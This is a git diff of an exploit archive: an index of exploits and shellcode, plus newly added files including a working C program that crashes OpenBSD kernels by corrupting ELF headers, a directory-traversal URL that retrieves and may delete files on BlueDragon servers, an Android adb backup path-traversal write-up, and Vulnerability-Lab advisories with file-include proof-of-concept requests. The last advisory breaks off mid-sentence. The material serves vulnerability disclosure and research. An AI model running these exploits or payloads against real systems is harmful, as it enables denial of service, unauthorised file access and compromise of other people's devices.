diff --git a/files.csv b/files.csv index 945f95e19..2cf14c6b1 100755 --- a/files.csv +++ b/files.csv @@ -5823,7 +5823,7 @@ id,file,description,date,author,platform,type,port 6214,platforms/php/webapps/6214.php,"Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit",2008-08-06,james,php,webapps,0 6215,platforms/php/webapps/6215.txt,"Ppim <= 1.0 (Arbitrary File Delete/XSS) Multiple Vulnerabilities",2008-08-10,BeyazKurt,php,webapps,0 6216,platforms/windows/dos/6216.html,"Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC",2008-08-10,"Guido Landi",windows,dos,0 -6217,platforms/windows/remote/6217.pl,"BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit",2008-08-10,LiquidWorm,windows,remote,0 +6217,platforms/windows/remote/6217.pl,"BlazeDVD 5.0 - PLF Playlist File Remote Buffer Overflow Exploit",2008-08-10,LiquidWorm,windows,remote,0 6218,platforms/multiple/dos/6218.txt,"Sun xVM VirtualBox < 1.6.4 Privilege Escalation Vulnerability PoC",2008-08-10,"Core Security",multiple,dos,0 6219,platforms/php/webapps/6219.txt,"e107 <= 0.7.11 - Arbitrary Variable Overwriting Vulnerability",2008-08-10,"GulfTech Security",php,webapps,0 6220,platforms/windows/remote/6220.html,"Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BoF Exploit",2008-08-10,"Guido Landi",windows,remote,0 @@ -14782,7 +14782,7 @@ id,file,description,date,author,platform,type,port 16988,platforms/php/webapps/16988.txt,"WikiWig 5.01 - Multiple XSS Vulnerabilities",2011-03-16,"AutoSec Tools",php,webapps,0 16989,platforms/php/webapps/16989.txt,"b2evolution 4.0.3 Persistent XSS Vulnerability",2011-03-16,"AutoSec Tools",php,webapps,0 16990,platforms/multiple/remote/16990.rb,"Sun Java Applet2ClassLoader - Remote Code Execution Exploit",2011-03-16,metasploit,multiple,remote,0 -16991,platforms/windows/local/16991.txt,"Microsoft Source Code Analyzer for SQL Injection 1.3 Improper Permissions",2011-03-17,LiquidWorm,windows,local,0 +16991,platforms/windows/local/16991.txt,"Microsoft Source Code Analyzer for SQL Injection 1.3 - Improper Permissions",2011-03-17,LiquidWorm,windows,local,0 16992,platforms/php/webapps/16992.txt,"Joomla! 1.6 - Multiple SQL Injection Vulnerabilities",2011-03-17,"Aung Khant",php,webapps,0 16993,platforms/hardware/remote/16993.pl,"ACTi ASOC 2200 Web Configurator <= 2.6 - Remote Root Command Execution",2011-03-17,"Todor Donev",hardware,remote,0 16995,platforms/php/webapps/16995.txt,"Joomla com_booklibrary - SQL Injection",2011-03-17,"Marc Doudiet",php,webapps,0 @@ -26455,6 +26455,7 @@ id,file,description,date,author,platform,type,port 29443,platforms/windows/dos/29443.py,"VideoLan VLC Media Player 0.8.6a Unspecified Denial of Service Vulnerability",2007-01-11,shinnai,windows,dos,0 29444,platforms/windows/dos/29444.pl,"CA BrightStor ARCserve Backup Message Engine/Tape Engine Remote Buffer Overflow Vulnerability",2007-01-11,"Tenable NS",windows,dos,0 29445,platforms/windows/dos/29445.rb,"Hanso Player 2.5.0 - 'm3u' Buffer Overflow (DoS)",2013-11-05,"Necmettin COSKUN",windows,dos,0 +36794,platforms/multiple/webapps/36794.txt,"SevenIT SevDesk 3.10 - Multiple Web Vulnerabilities",2015-04-21,Vulnerability-Lab,multiple,webapps,0 29446,platforms/linux/local/29446.c,"Grsecurity Kernel PaX - Local Privilege Escalation Vulnerability",2006-12-18,anonymous,linux,local,0 29447,platforms/windows/dos/29447.txt,"WinZip 9.0 Command Line Remote Buffer Overflow Vulnerability",2007-01-12,"Umesh Wanve",windows,dos,0 29448,platforms/osx/remote/29448.txt,"Apple Mac OS X 10.4.8 - DMG UFS Byte_Swap_Sbin() Integer Overflow Vulnerability",2007-01-12,LMH,osx,remote,0 @@ -32993,6 +32994,7 @@ id,file,description,date,author,platform,type,port 36575,platforms/multiple/webapps/36575.py,"JBoss AS versions 3_ 4_ 5_ 6 - Remote Command Execution",2015-03-31,"João Filho Matos Figueiredo",multiple,webapps,0 36576,platforms/php/webapps/36576.txt,"WordPress SP Project & Document Manager 2.5.3 - Blind SQL Injection",2015-03-31,Catsecurity,php,webapps,0 36577,platforms/multiple/remote/36577.py,"Airties Air5650TT - Remote Stack Overflow",2015-03-31,"Batuhan Burakcin",multiple,remote,0 +36739,platforms/osx/local/36739.m,"Apple MAC OS X < 10.9/10 - Local Root Exploit",2015-04-13,mu-b,osx,local,0 36579,platforms/windows/remote/36579.rb,"Adobe Flash Player ByteArray With Workers Use After Free",2015-03-31,metasploit,windows,remote,0 36580,platforms/windows/webapps/36580.rb,"Palo Alto Traps Server 3.1.2.1546 - Persistent XSS Vulnerability",2015-03-31,"Michael Hendrickx",windows,webapps,0 36581,platforms/php/webapps/36581.txt,"Fiyo CMS 2.0.1.8 - Multiple Vulnerabilities",2015-03-31,Mahendra,php,webapps,80 @@ -33048,6 +33050,7 @@ id,file,description,date,author,platform,type,port 36633,platforms/linux/dos/36633.txt,"Wireshark Buffer Underflow and Denial of Service Vulnerabilities",2012-01-10,"Laurent Butti",linux,dos,0 36634,platforms/php/webapps/36634.txt,"Joomla! 'com_visa' Component Local File Include and SQL Injection Vulnerabilities",2012-01-28,the_cyber_nuxbie,php,webapps,0 36635,platforms/php/webapps/36635.txt,"Joomla! 'com_firmy' Component 'Id' Parameter SQL Injection Vulnerability",2012-01-30,the_cyber_nuxbie,php,webapps,0 +36637,platforms/lin_x86/shellcode/36637.c,"Disable ASLR in Linux (84 bytes)",2015-04-03,"Mohammad Reza Ramezani",lin_x86,shellcode,0 36638,platforms/php/webapps/36638.txt,"Joomla! 'com_crhotels' Component 'catid' Parameter Remote SQL Injection Vulnerability",2012-01-31,the_cyber_nuxbie,php,webapps,0 36639,platforms/php/webapps/36639.txt,"Joomla! 'com_propertylab' Component 'id' Parameter Remote SQL Injection Vulnerability",2012-01-30,the_cyber_nuxbie,php,webapps,0 36640,platforms/php/webapps/36640.txt,"WordPress Work The Flow File Upload 2.5.2 - Arbitrary File Upload Vulnerability",2015-04-05,"Claudio Viviani",php,webapps,0 @@ -33156,15 +33159,16 @@ id,file,description,date,author,platform,type,port 36752,platforms/php/webapps/36752.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_stat_sensor.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36753,platforms/php/webapps/36753.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_stat_time.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36754,platforms/php/webapps/36754.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_stat_uaddr.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 -36751,platforms/php/webapps/36751.txt,"Wordpress Video Gallery 2.8 SQL Injection",2015-04-14,"Claudio Viviani",php,webapps,80 +36751,platforms/php/webapps/36751.txt,"Wordpress Video Gallery 2.8 - SQL Injection",2015-04-14,"Claudio Viviani",php,webapps,80 +36750,platforms/lin_x86-64/shellcode/36750.c,"linux/x86 setreuid(0_ 0) + execve(""/sbin/halt"") + exit(0) - 49 bytes",2015-04-14,"Febriyanto Nugroho",lin_x86-64,shellcode,0 36755,platforms/php/webapps/36755.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_user.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36756,platforms/windows/remote/36756.html,"Samsung iPOLiS ReadConfigValue Remote Code Execution",2015-04-14,"Praveen Darshanam",windows,remote,0 36757,platforms/php/webapps/36757.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 index.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36758,platforms/php/webapps/36758.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 admin/base_useradmin.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36759,platforms/php/webapps/36759.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 admin/index.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36760,platforms/php/webapps/36760.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_ag_main.php Crafted File Upload Arbitrary Code Execution",2012-02-11,indoushka,php,webapps,0 -36762,platforms/php/webapps/36762.txt,"WordPress MiwoFTP Plugin 1.0.5 Multiple CSRF XSS Vulnerabilities",2015-04-14,LiquidWorm,php,webapps,80 -36763,platforms/php/webapps/36763.txt,"WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Creation Exploit (RCE)",2015-04-14,LiquidWorm,php,webapps,80 +36762,platforms/php/webapps/36762.txt,"WordPress MiwoFTP Plugin 1.0.5 - Multiple CSRF XSS Vulnerabilities",2015-04-14,LiquidWorm,php,webapps,80 +36763,platforms/php/webapps/36763.txt,"WordPress MiwoFTP Plugin 1.0.5 - CSRF Arbitrary File Creation Exploit (RCE)",2015-04-14,LiquidWorm,php,webapps,80 36764,platforms/php/webapps/36764.txt,"SMW+ 1.5.6 'target' Parameter HTML Injection Vulnerability",2012-02-13,sonyy,php,webapps,0 36765,platforms/php/webapps/36765.txt,"Powie pFile 1.02 pfile/kommentar.php filecat Parameter XSS",2012-02-13,indoushka,php,webapps,0 36766,platforms/php/webapps/36766.txt,"Powie pFile 1.02 pfile/file.php id Parameter SQL Injection",2012-02-13,indoushka,php,webapps,0 @@ -33175,8 +33179,15 @@ id,file,description,date,author,platform,type,port 36771,platforms/php/webapps/36771.txt,"STHS v2 Web Portal team.php team Parameter SQL Injection",2012-02-13,"Liyan Oz",php,webapps,0 36772,platforms/cgi/webapps/36772.txt,"EditWrxLite CMS 'wrx.cgi' Remote Command Execution Vulnerability",2012-02-13,chippy1337,cgi,webapps,0 36773,platforms/windows/dos/36773.c,"Microsoft Window - HTTP.sys PoC (MS15-034)",2015-04-15,rhcp011235,windows,dos,0 +36774,platforms/php/webapps/36774.txt,"WordPress MiwoFTP Plugin 1.0.5 - Arbitrary File Download Exploit",2015-04-15,"Necmettin COSKUN",php,webapps,0 +36807,platforms/php/webapps/36807.txt,"GoAutoDial 3.3-1406088000 - Multiple Vulnerabilities",2015-04-21,"Chris McCurley",php,webapps,80 36776,platforms/windows/dos/36776.py,"MS Windows (HTTP.sys) HTTP Request Parsing DoS (MS15-034)",2015-04-16,"laurent gaffie",windows,dos,80 -36777,platforms/php/webapps/36777.txt,"Wordpress Ajax Store Locator 1.2 SQL Injection Vulnerability",2015-04-16,"Claudio Viviani",php,webapps,80 +36777,platforms/php/webapps/36777.txt,"Wordpress Ajax Store Locator 1.2 - SQL Injection Vulnerability",2015-04-16,"Claudio Viviani",php,webapps,80 +36778,platforms/lin_x86/shellcode/36778.c,"Linux/x86 execve ""/bin/sh"" - shellcode (35 bytes)",2015-04-17,"Mohammad Reza Espargham",lin_x86,shellcode,0 +36779,platforms/win32/shellcode/36779.c,"win32/xp sp3 Create (""file.txt"") (83 bytes)",2015-04-17,"TUNISIAN CYBER",win32,shellcode,0 +36780,platforms/win32/shellcode/36780.c,"win32/xp sp3 - Restart computer",2015-04-17,"TUNISIAN CYBER",win32,shellcode,0 +36781,platforms/lin_x86/shellcode/36781.py,"Linux custom execve-shellcode Encoder/Decoder",2015-04-17,"Konstantinos Alexiou",lin_x86,shellcode,0 +36782,platforms/linux/local/36782.sh,"Apport - Local Linux Root",2015-04-17,"Ricardo F. Teixeira",linux,local,0 36784,platforms/php/webapps/36784.txt,"11in1 CMS 1.2.1 - index.php class Parameter Traversal Local File Inclusion",2012-02-15,"High-Tech Bridge SA",php,webapps,0 36785,platforms/php/webapps/36785.txt,"11in1 CMS 1.2.1 - admin/index.php class Parameter Traversal Local File Inclusion",2012-02-15,"High-Tech Bridge SA",php,webapps,0 36786,platforms/php/webapps/36786.txt,"11in1 CMS 1.2.1 - Admin Password Manipulation CSRF",2012-02-15,"High-Tech Bridge SA",php,webapps,0 @@ -33187,3 +33198,22 @@ id,file,description,date,author,platform,type,port 36791,platforms/php/webapps/36791.txt,"CMS Faethon 1.3.4 - 'articles.php' Multiple SQL Injection Vulnerabilities",2012-02-16,tempe_mendoan,php,webapps,0 36792,platforms/php/webapps/36792.txt,"Pandora FMS 4.0.1 - 'sec2' Parameter Local File Include Vulnerability",2012-02-17,"Ucha Gobejishvili",php,webapps,0 36793,platforms/php/webapps/36793.txt,"ButorWiki 3.0 - 'service' Parameter Cross Site Scripting Vulnerability",2012-02-17,sonyy,php,webapps,0 +36795,platforms/ios/webapps/36795.txt,"Wifi Drive Pro 1.2 iOS - File Include Web Vulnerability",2015-04-21,Vulnerability-Lab,ios,webapps,0 +36796,platforms/ios/webapps/36796.txt,"Photo Manager Pro 4.4.0 iOS - File Include Vulnerability",2015-04-21,Vulnerability-Lab,ios,webapps,0 +36797,platforms/ios/webapps/36797.txt,"Mobile Drive HD 1.8 - File Include Web Vulnerability",2015-04-21,Vulnerability-Lab,ios,webapps,0 +36798,platforms/ios/webapps/36798.txt,"Photo Manager Pro 4.4.0 iOS - Code Execution Vulnerability",2015-04-21,Vulnerability-Lab,ios,webapps,0 +36799,platforms/bsd/local/36799.c,"OpenBSD <= 5.6 - Multiple Local Kernel Panics",2015-04-21,nitr0us,bsd,local,0 +36800,platforms/php/webapps/36800.txt,"Wordpress NEX-Forms < 3.0 - SQL Injection Vulnerability",2015-04-21,"Claudio Viviani",php,webapps,0 +36801,platforms/php/webapps/36801.txt,"WordPress MiwoFTP Plugin <= 1.0.5 - Arbitrary File Download",2015-04-21,"dadou dz",php,webapps,0 +36802,platforms/php/webapps/36802.txt,"WordPress Tune Library Plugin 1.5.4 - SQL Injection Vulnerability",2015-04-21,"Hannes Trunde",php,webapps,0 +36803,platforms/windows/remote/36803.py,"ProFTPd 1.3.5 - Remote Command Execution",2015-04-21,R-73eN,windows,remote,0 +36804,platforms/php/webapps/36804.pl,"MediaSuite CMS - Artibary File Disclosure Exploit",2015-04-21,"KnocKout inj3ct0r",php,webapps,0 +36805,platforms/php/webapps/36805.txt,"WordPress Community Events Plugin 1.3.5 - SQL Injection Vulnerability",2015-04-21,"Hannes Trunde",php,webapps,0 +36808,platforms/windows/remote/36808.rb,"Adobe Flash Player copyPixelsToByteArray Integer Overflow",2015-04-21,metasploit,windows,remote,0 +36809,platforms/php/remote/36809.rb,"Wordpress Reflex Gallery Upload Vulnerability",2015-04-21,metasploit,php,remote,80 +36810,platforms/php/remote/36810.rb,"Wordpress N-Media Website Contact Form Upload Vulnerability",2015-04-21,metasploit,php,remote,80 +36811,platforms/php/remote/36811.rb,"Wordpress Creative Contact Form Upload Vulnerability",2015-04-21,metasploit,php,remote,80 +36812,platforms/php/remote/36812.rb,"Wordpress Work The Flow Upload Vulnerability",2015-04-21,metasploit,php,remote,80 +36813,platforms/hardware/local/36813.txt,"ADB Backup Archive Path Traversal File Overwrite",2015-04-21,"Imre Rad",hardware,local,0 +36814,platforms/osx/dos/36814.c,"Mac OS X Local Denial of Service",2015-04-21,"Maxime Villard",osx,dos,0 +36815,platforms/cfm/webapps/36815.txt,"BlueDragon CFChart Servlet 7.1.1.17759 - Arbitrary File Retrieval/Deletion",2015-04-21,Portcullis,cfm,webapps,80 diff --git a/platforms/bsd/local/36799.c b/platforms/bsd/local/36799.c new file mode 100755 index 000000000..8a55418ad --- /dev/null +++ b/platforms/bsd/local/36799.c @@ -0,0 +1,94 @@ +/* + +# Exploit Title: OpenBSD <= 5.6 - Multiple Local Kernel Panics +# Exploit Author: nitr0us +# Vendor Homepage: http://www.openbsd.org +# Version: 5.6 +# Tested on: OpenBSD 5.6 i386 (snapshot - Nov 25th, 2014), OpenBSD 5.6 i386, OpenBSD 5.5 i386 + + * - 0xb16b00b5.c + * + * - Alejandro Hernandez (@nitr0usmx) + * - Mexico 2015 + * + * ######################################################################### + * # OpenBSD <= 5.6 kernel panic()'s in sys/uvm/uvm_map.c # + * ######################################################################### + * + * Tested under: + * - OpenBSD 5.6 i386 (snapshot - Nov 25th, 2014) + * - OpenBSD 5.6 i386 + * - OpenBSD 5.5 i386 + * + * https://www.youtube.com/watch?feature=player_detailpage&v=PReopSQZOrY#t=20 + * + */ + +#include +#include +#include +#include +#include +#include +#include + +#ifndef __OpenBSD__ + #error "Not OpenBSD !!!1111"; +#else +#include +#endif + +#ifndef __i386__ + #error "Not i386 !!!1111"; +#endif + +char big_b00bz[] = +" 8M:::::::8888M:::::888:::::::88:::8888888::::::::Mm\n" +" 88MM:::::8888M:::::::88::::::::8:::::888888:::M:::::M\n" +" 8888M:::::888MM::::::::8:::::::::::M::::8888::::M::::M\n" +" 88888M:::::88:M::::::::::8:::::::::::M:::8888::::::M::M\n" +" 88 888MM:::888:M:::::::::::::::::::::::M:8888:::::::::M:\n" +" 8 88888M:::88::M:::::::::::::::::::::::MM:88::::::::::::M\n" +" 88888M:::88::M::::::::::*88*::::::::::M:88::::::::::::::M\n" +" 888888M:::88::M:::::::::88@@88:::::::::M::88::::::::::::::M\n" +" 888888MM::88::MM::::::::88@@88:::::::::M:::8::::::::::::::*8\n" +" 88888 M:::8::MM:::::::::*88*::::::::::M:::::::::::::::::88@@\n" +" 8888 MM::::::MM:::::::::::::::::::::MM:::::::::::::::::88@@\n" +" 888 M:::::::MM:::::::::::::::::::MM::M::::::::::::::::*8\n" +" 888 MM:::::::MMM::::::::::::::::MM:::MM:::::::::::::::M\n" +" 88 M::::::::MMMM:::::::::::MMMM:::::MM::::::::::::MM\n" +" 88 MM:::::::::MMMMMMMMMMMMMMM::::::::MMM::::::::MMM\n" +" 88 MM::::::::::::MMMMMMM::::::::::::::MMMMMMMMMM\n" +" 88 8MM::::::::::::::::::::::::::::::::::MMMMMM\n" +" 8 88MM::::::::::::::::::::::M:::M::::::::MM\n" +" 888MM::::::::::::::::::MM::::::MM::::::M"; + +int main(int argc, char **argv) +{ + Elf32_Ehdr *hdr; + Elf32_Phdr *pht; + struct stat statinfo; + char *elfptr; + int fd; + + if(argc != 2) return printf("Usage: %s \n", argv[0]); + fd = open(argv[1], O_RDWR); + fstat(fd, &statinfo); + elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + hdr = (Elf32_Ehdr *) (elfptr); + pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff); + printf("%s", big_b00bz); + pht[9].p_type = 0x7defaced; // <--- these overwrites ------------v + pht[2].p_filesz = (arc4random() % 2) ? 0x41414141 : 0x43434343; // are necessary + sleep(3 + (arc4random() % 3)); + if(arc4random() % 3 == 2) puts(" .. I like b1g 0nez !!"); // 33.33% chance + else { if(arc4random() % 2){ puts(" .. want s0me ?!"); pht[5].p_vaddr = 0xb16b00b5; } // .6666 * .5 = 33.33% chance + else { puts(" .. j00 like it ?!"); pht[5].p_vaddr = 0x0ace55e8; }} // .6666 * .5 = 33.33% chance + msync(elfptr, 0, MS_ASYNC); + munmap(elfptr, statinfo.st_size); + close(fd); + sleep(3 + (arc4random() % 3)); + system(argv[1]); // ( o )( o ) panic() + puts("... s0rry, this piece of sh1t didn't w0rk in j00r obsd\n"); + return 0xDEFECA7E; +} diff --git a/platforms/cfm/webapps/36815.txt b/platforms/cfm/webapps/36815.txt new file mode 100755 index 000000000..c9c7316c5 --- /dev/null +++ b/platforms/cfm/webapps/36815.txt @@ -0,0 +1,29 @@ +Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet +CVE: CVE-2014-5370 +Vendor: New Atlanta +Product: BlueDragon CFChart Servlet +Affected version: 7.1.1.17759 +Fixed version: 7.1.1.18527 +Reported by: Mike Westmacott +Details: + +The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted. + +Exploit: + +In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server: + + +http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE + +The browser will display a broken image, however the HTTP response will contain the file’s contents. + +Further details at: + +https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/ + +Copyright: +Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. + +Disclaimer: +The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. diff --git a/platforms/hardware/local/36813.txt b/platforms/hardware/local/36813.txt new file mode 100755 index 000000000..cde26aa5b --- /dev/null +++ b/platforms/hardware/local/36813.txt @@ -0,0 +1,54 @@ +ADB backup archive path traversal file overwrite +------------------------------------------------ + +Using adb one can create a backup of his/her Android device and store it +on the PC. The backup archive is based on the tar file format. + +By modifying tar headers to contain ../../ like patterns it is possible +to overwrite files owned by the system user on writeable partitions. + + +An example pathname in the tar header: +apps/com.android.settings/sp/../../../../data/system/evil.txt +Tar header checksum must be corrected of course. + +When restoring the modified archive the BackupManagerService overwrites +the resolved file name, since file name is not sanitized. + +Bugfix in the version control: +https://android.googlesource.com/platform/frameworks/base/+/7bc601d%5E!/#F0 + + +Android 5 (Lollipop) and newer versions are not affected (due to the +official bugfix linked above). + + +Additional conditions for exploiting on pre-Lollipop systems: + +- Partition of the desination file must be mounted as writeable (eg. +/system won't work, but /data does) + +- It is not possible to overwrite files owned by root, since the process +doing the restore is running as the same user as the package itself and +Android packages cannot run. + +- It is not possible to overwrite files owned by system user since AOSP +4.3 due to Id6a0cb4c113c2e4a8c4605252cffa41bea22d8a3, a new hardening +was introduced "... ignoring non-agent system package ". +(If the operating system is custom and there is a system package +available with a full backup agent specified explicitly, then that +custom Android 4.3 and 4.4 might be affected too.) + +Pre 4.3 AOSP systems are affected without further conditions: it is +possible to overwrite files owned by the system user or any other +packages installed on the system. + + + +Tested on: Android 4.0.4: +Reported on: 2014-07-14 +Assigned CVE: CVE-2014-7951 +Android bug id: 16298491 +Discovered by: Imre Rad / Search-Lab Ltd. + http://www.search-lab.hu + http://www.securecodingacademy.com/ \ No newline at end of file diff --git a/platforms/ios/webapps/36795.txt b/platforms/ios/webapps/36795.txt new file mode 100755 index 000000000..3b11bdfe9 --- /dev/null +++ b/platforms/ios/webapps/36795.txt @@ -0,0 +1,185 @@ +Document Title: +=============== +Wifi Drive Pro v1.2 iOS - File Include Web Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1447 + + +Release Date: +============= +2015-03-13 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1447 + + +Common Vulnerability Scoring System: +==================================== +6.3 + + +Product & Service Introduction: +=============================== +This app lets you use your iphone, iPad or iPod Touch as a wireless USB drive through which you can download, save and view documents and files. +Using the app you can transfer files from your PC or Mac either wirelessly or through a USB port and carry your files wherever you go. + +(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/wifi-drive-pro/id579582610 ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Core Research Team discovered file include web vulnerability in the official Wifi Drive Pro v1.2 iOS mobile application. + + +Vulnerability Disclosure Timeline: +================================== +2015-03-13: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Mindspeak Software +Product: Wifi Drive Pro - iOS Mobile Web Application 1.2 + + +Exploitation Technique: +======================= +Local + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +A local file include web vulnerability has been discovered in the official Mindspeak Software - Wifi Drive Pro v1.2 iOS mobile web-application. +The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands +to compromise the mobile web-application. + +The web vulnerability is located in the `filename` value of the `file upload` module. Remote attackers are able to inject own files with malicious +`filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in +the index file dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of the `wifi interface` +in connection with the vulnerable file upload POST method request. + +Remote attackers are also able to exploit the filename issue in combination with persistent injected script codes to execute different malicious +attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. + +The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. +Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation +of the local file include web vulnerability results in mobile application compromise or connected device component compromise. + +Request Method(s): + [+] [POST] + +Vulnerable Module(s): + [+] File Upload + +Vulnerable Parameter(s): + [+] filename + +Affected Module(s): + [+] Index File Dir Listing (http://localhost:49276/) + + +Proof of Concept (PoC): +======================= +The local file include web vulnerability can be exploited by local attackers without privileged application user accounts or user interaction. +For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. + +PoC: GET +http://localhost:49276//%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png + + +PoC: Vulnerable Source +

..
+68-2.png ( 24.3 Kb, 2015-03-09 14:57:29 +0000)
+ ( 0.5 Kb, 2015-03-09 14:57:48 +0000)
+

+

+ + +--- PoC Session Logs [POST] (Inject)--- +Status: 200[OK] +POST http://localhost:49276/ +Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[846] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost:49276] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost:49276/] + Connection[keep-alive] + POST-Daten: + POST_DATA[-----------------------------28140821932238 +Content-Disposition: form-data; name="file"; filename="%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png" +Content-Type: image/png + + +Reference(s): +http://localhost:49276/ +http://localhost:49276//%3C./ + + +Solution - Fix & Patch: +======================= +The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and +disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks. +Encode the output in the file dir index list with the vulnerable name value to prevent an application-side injection attacks. + + +Security Risk: +============== +The security risk of the local file include web vulnerability in the upload POST method request is estimated as high. (CVSS 6.3) + + +Credits & Authors: +================== +Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] + + +Disclaimer & Information: +========================= +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed +or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable +in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab +or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for +consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, +policies, deface websites, hack into databases or trade with fraud/stolen material. + +Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com +Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com +Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact +Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab +Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php +Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ + +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to +electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by +Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website +is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact +(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. + + Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ + + + +-- +VULNERABILITY LABORATORY - RESEARCH TEAM +SERVICE: www.vulnerability-lab.com +CONTACT: research@vulnerability-lab.com +PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt + + diff --git a/platforms/ios/webapps/36796.txt b/platforms/ios/webapps/36796.txt new file mode 100755 index 000000000..ea0c66bf1 --- /dev/null +++ b/platforms/ios/webapps/36796.txt @@ -0,0 +1,206 @@ +Document Title: +=============== +Photo Manager Pro v4.4.0 iOS - File Include Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1445 + + +Release Date: +============= +2015-03-12 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1445 + + +Common Vulnerability Scoring System: +==================================== +6.9 + + +Product & Service Introduction: +=============================== +Do you have troubles for managing thousands of photos and videos? Do you have any private photos or videos? Are you looking for a photo portfolio app? +Photo Manager Pro is exactly you are looking for. Photo Manager Pro is extremely easy to use. TP Transfer: Transfer folders and files between computer +and device over wifi network. HTTP Transfer: Transfer files between computer and device over wifi network. View photos in the browser. Peer to Peer +Transfer: Directly transfer files between iPad, iPhone and iPod Touch over wifi network. USB Transfer: Import/Export photos from/to iTunes file sharing. +Basic Transfer: Import/Export photos from/to the Photos app. + +(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/photo-manager-pro/id393858562 & http://www.linkusnow.com/photomanager/help/ipad/help_main.php ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered a locla file include 